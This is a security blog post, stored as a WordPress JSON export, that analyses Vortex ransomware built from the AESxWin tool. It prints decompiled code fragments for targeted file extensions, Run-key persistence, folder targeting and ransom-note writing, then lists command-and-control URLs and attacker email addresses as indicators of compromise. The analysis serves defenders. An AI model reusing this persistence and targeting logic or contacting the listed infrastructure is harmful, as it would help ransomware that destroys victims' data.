{"id":2388,"date":"2024-09-25T17:49:09","date_gmt":"2024-09-25T17:49:09","guid":{"rendered":"https:\/\/xdr-mdr.lmntrix.com\/main_web\/?p=2388"},"modified":"2025-07-29T03:38:19","modified_gmt":"2025-07-29T03:38:19","slug":"do-the-twist-vortex-ransomware-spins-and-scrambles-victim-data","status":"publish","type":"post","link":"https:\/\/lmntrix.com\/blog\/do-the-twist-vortex-ransomware-spins-and-scrambles-victim-data\/","title":{"rendered":"Do the twist: Vortex ransomware spins and scrambles victim data"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img fetchpriority=\"high\" decoding=\"async\" width=\"391\" height=\"318\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/Airplane_vortex_edit.webp\" alt=\"\" class=\"wp-image-2402\" style=\"width:491px;height:auto\"\/><\/figure>\n<\/div>\n\n\n<p>Earlier this year, we witnessed a new ransomware variant, Vortex, evolve from a previous strain, Polski. The most recent strain was developed using a freeware encryption and decryption tool called AESxWin, which was modified to give Vortex its malicious nature. Both primarily target Polish users.<br><br>Vortex has some very unorthodox characteristics, so let\u2019s take a closer look.<br><br><strong>Delivery<\/strong><br><br>Vortex is not spread through the usual spam email campaigns, instead its authors prefer to use RAT (Remote Access Trojans) as the delivery tool. The specific agent downloaders were JS\/VJworm (JavaScript) variants.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"811\" height=\"245\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/v1.webp\" alt=\"\" class=\"wp-image-2398\"\/><\/figure>\n\n\n\n<p><em>Figure 1 &#8211; Delivery representation<\/em><br><br><strong>Infection<\/strong><br><br>Static analysis:<br><br>MD5: 91A07550E5CA2C977F50406F07126AC8<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"302\" height=\"246\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/v2.webp\" alt=\"\" class=\"wp-image-2399\"\/><\/figure>\n\n\n\n<p>Figure 1 Version information<br><br>The version information lists AESxWin as both the product name and original file name. AESxWin is a free tool available from github and is used for encrypting and decrypting files. The image below shows that even the file\u2019s icon is the same:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"212\" height=\"141\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/v3.webp\" alt=\"\" class=\"wp-image-2400\"\/><\/figure>\n\n\n\n<p><em>Figure 2 &#8211; File Icons<\/em><br><br>Both files are compiled with dotnet compiler and the target framework is .net 4.5. &nbsp;<br><br><strong>Code analysis (comparing AESxWin file and Vortex ransomware file)<\/strong><br><br>The below image illustrates some of the differences between the legitimate AESxWin file and the Vortex ransomware \u2013 the upper portion contains the legitimate file, and the ransomware lies in the lower.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"609\" height=\"443\" src=\"https:\/\/lmntrix.com\/blog\/wp-content\/uploads\/2024\/09\/v4-1.webp\" alt=\"\" class=\"wp-image-2401\"\/><\/figure>\n\n\n\n<p><img decoding=\"async\" alt=\"\" src=\"\/ckfinder\/userfiles\/files\/v4.png\">&nbsp;<em>Figure 3 &#8211; Comparison<\/em><br><br>The malicious, modified version contains extra routines like AESxWinAuto, Form1, pro and Reg. Examining these routines illustrates the behaviours of the ransomware variant:<br><br>AESxWinAuto:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;public class AESxWinAuto : Form<br>&nbsp;{<br>&nbsp;public static string[] image_ext = new string[]<br>&nbsp;public static string[] video_ext = new string[]<br>&nbsp;public static string[] audio_ext = new string[]<br>&nbsp;public static string[] document_ext = new string[]<br>&nbsp;public static string[] compressed_ext = new string[]<br>&nbsp;public static string[] code_ext = new string[<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Each of these strings can be expanded, showing the targeted file format. For image_ext, we found the following extensions:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;.jpg,.jpeg,.png,.gif,.bmp,.groups,.hdd,.hpp,.m2ts,.m4p,.mpeg,.ndf,.nvram,.ogg,.ost,.pab,<br>.pdb,.pif,.qed,.qcow,.qcow2,.rvt,.st7,.stm,.vbox,.vdi,.vhd,.vhdx,.vmdk,.vmsd,.vmx,.vmxf, .3fr,<br>.3pr,.ab4,.accde,.accdr,.accdt,.ach,.acr,.adb,.ads,.agdl,.ait,.apj,.asm,.awg,.back,.backup,<br>.backupdb,.bay,.bdb,.bgt,.bik,.bpw,.cdr3,.cdr4,.cdr5,.cdr6,.cdrw,.ce1,.ce2,.cib,.craw,.crw,<br>.csh,.csl,.db_journal,.dc2,.dcs,.ddoc,.ddrw,.der,.des,.dgc,.djvu,.dng,.drf,.dxg,.eml,.erbsql,<br>.erf,.exf,.ffd,.fh,.fhd,.gray,.grey,.gry,.hbk,.ibd,.ibz,.iiq,.incpas,.jpe,.kc2,.kdbx,.kdc,.kpdx,.lua,<br>.mdc,.mef,.mfw,.mmw,.mny,.mrw,.myd,.ndd,.nef,.nk2,.nop,.nrw,.ns2,.ns3,.ns4,.nwb,.nx2,<br>.nxl,.nyf,.odb,.odf,.odg,.odm,.orf,.otg,.oth,.otp,.ots,.ott,.p12,.p7b,.p7c,.pdd,.pem,.plus_muhd,<br>.plc,.pot,.pptx,.psafe3,.py,.qba,.qbr,.qbw,.qbx,.qby,.raf,.rat,.raw,.rdb,.rwl,.rwz,.s3db,.sd0,.sda,<br>.sdf,.sqlite,.sqlite3,.sqlitedb,.sr2,.srf,.srw,.st5,.st8,.std,.sti,.stw,.stx,.sxd,.sxg,.sxi,.sxm,.tex,<br>.wallet,.wb2,.wpd,.x11,.x3f,.xis,.ycbcra,.yuv,.contact,.dbx,.doc,.docx,.jnt,.msg,.oab,.ods,.pdf,<br>.pps,.ppsm,.ppt,.pptm,.prf,.pst,.rar,.rtf,.wab,.xls,.xlsx,.xml,.zip,.1cd,.3ds,.3g2,.3gp,.7z,.7zip,<br>.accdb,.aoi,.asf,.asp,.aspx,.asx,.avi,.bak,.cer,.cfg,.class,.config,.css,.csv,.db,.dds,.dwg,.dxf,<br>.flf,.flv,.html,.idx,.js,.key,.kwm,.laccdb,.ldf,.lit,.m3u,.mbx,.md,.mdf,.mid,.mlb,.mov,.mp4,.mpg<br>,.obj,.odt,.ods,.odp,.pages,.php,.psd,.pwm,.rm,.safe,.sav,.save,.sql,.srt,.swf,.thm,.vob,.wav,<br>.wma,.wmv,.xlsb3dm,.aac,.ai,.arw,.c,.cdr,.cls,.cpi,.cpp,.cs,.db3,.docm,.dot,.dotm,.dotx,.drw,<br>.dxb,.eps,.fla,.flac,.fxg,.java,.m,.m4v,.max,.mdb,.pcd,.pct,.pl,.potm,.potx,.ppam,.ppsm,.ppsx,<br>.pptm,.ps,.r3d,.rw2,.sldm,.sldx,.svg,.tga,.wps,.xla,.xlam,.xlm,.xlr,.xlsm,.xlt,.xltm,.xltx,.xlw,.act,<br>.adp,.al,.bkp,.blend,.cdf,.cdx,.cgm,.cr2,.crt,.dac,.dbf,.dcr,.ddd,.design,.dtd,.fdb,.fff,.fpx,.h,.iif,<br>.indd,.jpeg,.mos,.nd,.nsd,.nsf,.nsg,.nsh,.odc,.odp,.oil,.pas,.pat,.pef,.pfx,.ptx,.qbb,.qbm,.sas7bdat,<br>.say,.st4,.st6,.stc,.sxc,.sxw,.tlg,.wad,.xlk,.aiff,.bin,.cmt,.dat,.dit,.edb,.flvv,.ntx,.xsd,.pem,.xsd,.xsl,<br>.ewd,.dbt,.ob,.gofin,.dsf,.ds4,.shx,.ath,.bac,.ts,.dst,.dwfx&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>For video_ext, we found the following target extensions for video files:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;.avi,.flv,.mov,.mp4,.mpg,.rm,.rmvb,.mkv,.swf,.vob,.wmv,.3g2,.3gp,.asf,.ogv<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>For audio_ext, we found the following target extensions for audio files:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;.mp3,.wav,.acc,.ogg,.amr,.wma&nbsp;&nbsp; &nbsp;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>For document_ext, we found the following target extensions for document files:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;.pdf,.txt,.rtf,.doc,.docx,.ppt,.pptx,.xls,.xlsx<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>For compressed_ext, we found the following target extensions for compressed folders:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;.zip,.rar,.7z,.tar,.gzip<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>For code_ext we found the following target extensions for scripts and web page files:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;.cs,.vb,.java,.py,.rb,.cpp,.html,.css,.js<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>We then found a startup entry registry function:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;public bool IsStartup<br>&nbsp;{<br>&nbsp;get{<br>&nbsp;RegistryKey registryKey = &nbsp;Registry.CurrentUser.OpenSubKey(&#8220;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run&#8221;, &nbsp;true);<br>&nbsp;return registryKey.GetValue(Assembly.GetExecutingAssembly().GetName().Name) != null;<br>&nbsp;}set<br>&nbsp;{<br>&nbsp;Reg.RegisterInStartup(value, Application.ExecutablePath);<br>}<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><br><br>This code includes an autostart entry to give the malware persistence. The \u2018Get\u2019 function notes the registry key name and looks for its presence. The \u2018Set\u2019 function appends another class, \u2018Reg\u2019, which registers the malware file location in the value entry. We then checked the \u2018Reg\u2019 class:&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;public static string Read(string KeyName)<br>&nbsp;public static bool Write(string KeyName, object Value)<br>&nbsp;public static void RegisterInStartup(bool isChecked, string executablePath)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The above three strings can be expanded, but we\u2019ll just focus on the important points.<br><br>String Read(string KeyName) looks for the currentuser key in the registry and further seeks the subkey &#8220;SOFTWARE\\\\AESxWin&#8221;. Bool Write (string KeyName, object Value), creates the subkey &#8220;SOFTWARE\\\\AESxWin&#8221;, if the String Read function fails to find its subkey.<br><br>RegisterInStartup does the autostart work by adding the malware\u2019s physical location to the value of the \u2018Run\u2019 registry entry. This is the Reg class\u2019 primary function.<br><br><strong>Other interesting functions<\/strong><br><br>There are other interesting functions and codes to be examined. The following code ignores listed paths (locations) in the system.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;private void InitIgnoredPaths()<br>&nbsp;{<br>&nbsp;this.IgnoredPaths = new List();<br>&nbsp;this.IgnoredPaths.Add(Path.GetDirectoryName(Application.ExecutablePath));<br>&nbsp;this.IgnoredPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));<br>&nbsp;this.IgnoredPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));<br>&nbsp;this.IgnoredPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData));<br>&nbsp;this.IgnoredPaths.Add(&#8220;C:\\\\Program Files\\\\Common Files&#8221;);<br>&nbsp;}<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><br><br>The paths Vortex ignores are Application Data and Common Files. It is clear this variant wants to focus on specific locations and ignores those without important documents.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;DriveInfo[] drives = FilesHelper.GetDrives();<br>&nbsp;Guid computerId = this.ComputerId;<br>&nbsp;this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Personal));<br>&nbsp;this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.Recent));<br>&nbsp;this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));<br>&nbsp;\u2026<br>&nbsp;this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonMusic));<br>&nbsp;this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonVideos));<br>&nbsp;this.StartPaths.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory));<br>&nbsp;DriveInfo[] array = drives;<br>&nbsp;for (int i = 0; i &lt; array.Length; i++)<br>&nbsp;{<br>&nbsp;&nbsp; &nbsp;DriveInfo driveInfo = array[i];<br>&nbsp;&nbsp; &nbsp;this.StartPaths.Add(driveInfo.RootDirectory.Name);<br>&nbsp;}<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><br><br>This code looks for documents, pictures, videos and recent files \u2013 all of which are important locations for any user.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;bool enabled = this.btnStartAutoEncrypt.Enabled;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Auto encrypt is then enabled, started by the button:&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;btnStartAutoEncrypt_Click(object sender, EventArgs e)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>After the encryption, the ransomware appends the \u201c.ZABLOKOWANE&#8221; extension at the end of all encrypted files. A log of these encrypted files is stored in a .log file in the folder:<br><br>C:\\ProgramData\\Keyboard\\<br><br>The following code refers to the logging details and the above-mentioned location.<br><br>AESxWinAuto.LogPath = &#8220;C:\\\\ProgramData\\\\Keyboard&#8221;;<br><br>bool flag = !Directory.Exists(AESxWinAuto.LogPath);<br><br>if (flag)<br><br>{<br><br>Directory.CreateDirectory(AESxWinAuto.LogPath);<br><br>}<br><br>In the log file, we found the string format: &nbsp;&nbsp; &nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;Log.WriteLog(AESxWinAuto.LogPath, string.Format(&#8220;Zaszyfrowano: {0} | {1} Has\u0142o= {2}&#8221;, Path.GetFileName(text), text, (currentPassword.Length &gt; 3) ? &nbsp;currentPassword.Substring(0, 4) : currentPassword));<br>&nbsp;string directoryName = Path.GetDirectoryName(text);<br>&nbsp;bool flag4 = !StatusFile.StatusFileExist(directoryName, &#8220;### &#8211; ODZYSKAJ SWOJE &nbsp;DANE &#8211; ###.TXT&#8221;);<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><strong>Command and Control<\/strong><br><br>C2: https:\/\/asuspl.ml\/widwdp\/<br><br>C2: https:\/\/taniepilapl\/mij\/<br><br>Vortex gathers the victim\u2019s IP address with the public api: &#8220;api.ipify.org\u201d<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;@6002b94: ldloc.0&nbsp;<br>&nbsp;@6002b95: ldstr ;Aby Odzyska Pliki Skontaktuj Si Z Nami Pod Adresem: &nbsp;3nigma@0.pl Lub 3nigma@firemail.cc&nbsp;<br>&nbsp;@6002b96: callvirt 0A00013A ;System.Text.StringBuilder::AppendLine<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>&nbsp;We found the email address information in the above code. Password generation looks as though it\u2019s done with the help of an api \u2013 see the following code:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;@6002a22: stsfld System.Int32 AESxWin.Helpers.PasswordAPICurrentIndex&nbsp;<br>&nbsp;@6002a23: ldc.i4.2&nbsp;<br>&nbsp;@6002a24: newarr System.Uri&nbsp;<br>&nbsp;@6002a25: dup&nbsp;<br>&nbsp;@6002a26: ldc.i4.0&nbsp;<br>&nbsp;@6002a27: ldstr ;https:\/\/asuspl.ml\/pass\/&nbsp;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The site \u2013 asuspl.ml\/pass \u2013 is used for a password generating api, similar to how api.ipify is used to gather the infected user\u2019s IP address.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>&nbsp;@6002b2c: ldc.i4.1&nbsp;<br>&nbsp;@6002b2d: ldstr ;https:\/\/taniepilapl\/mij\/&nbsp;<br>&nbsp;@6002b2e: stelem.ref&nbsp;<br>&nbsp;@6002b2f: stsfld System.String[] AESxWin.Helpers.SendAPIUrls<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The above shows command and control details inside the code.<br><br><strong>IOC details<br><br>Url:<\/strong><br><br>Asuspl.ml\/pass<br><br>Api.ipify.org<br><br>taniepilapl\/mij<br><br><strong>Email address:<\/strong><br><br>3nigma@firemail.cc<br><br>3nigma@0.pl<br><br><strong>File name:<\/strong><br><br>The file name \u2018AESxWin.exe\u2019 is in a grey area in this case, because of the freeware encryption tool.<br><br><strong>Registry:<\/strong><br><br>SOFTWARE\\\\AESxWin<br><br>Run registry entry with value as AESxWin and physical location of the target file.<br><br><strong>Extension: <\/strong>.ZABLOKOWANE<br><br><strong>PDB:<\/strong> C:\\c1\\AESxWin-master\\AESxWin-master\\AESxWin\\obj\\Debug\\AESxWin.pdb<br><br><strong>Conclusion<\/strong><br><br>While this ransomware variant was clearly written with only Polish victims in mind, it goes to show how clever malware authors can be. Not only does Vortex use unorthodox propagation methods, it also piggy backs off the hard work of a legitimate software developer.&nbsp;<br><br>Currently this ransomware will not infect Windows XP users, because it requires .Net framework 4.5 or higher to run, similar to the freeware tool. Later Windows versions with .Net framework 4.5 can allow the ransomware to execute and infect the system.&nbsp;<br><br>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Earlier this year, we witnessed a new ransomware variant, Vortex, evolve from a previous strain, Polski. The most recent strain was developed using a freeware encryption and decryption tool called AESxWin, which was modified to give Vortex its malicious nature. Both primarily target Polish users. Vortex has some very unorthodox characteristics, so let&rsquo;s take a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2402,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"class_list":["post-2388","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-labs"],"_links":{"self":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2388","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/comments?post=2388"}],"version-history":[{"count":3,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2388\/revisions"}],"predecessor-version":[{"id":4249,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/posts\/2388\/revisions\/4249"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media\/2402"}],"wp:attachment":[{"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/media?parent=2388"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/categories?post=2388"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lmntrix.com\/blog\/wp-json\/wp\/v2\/tags?post=2388"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}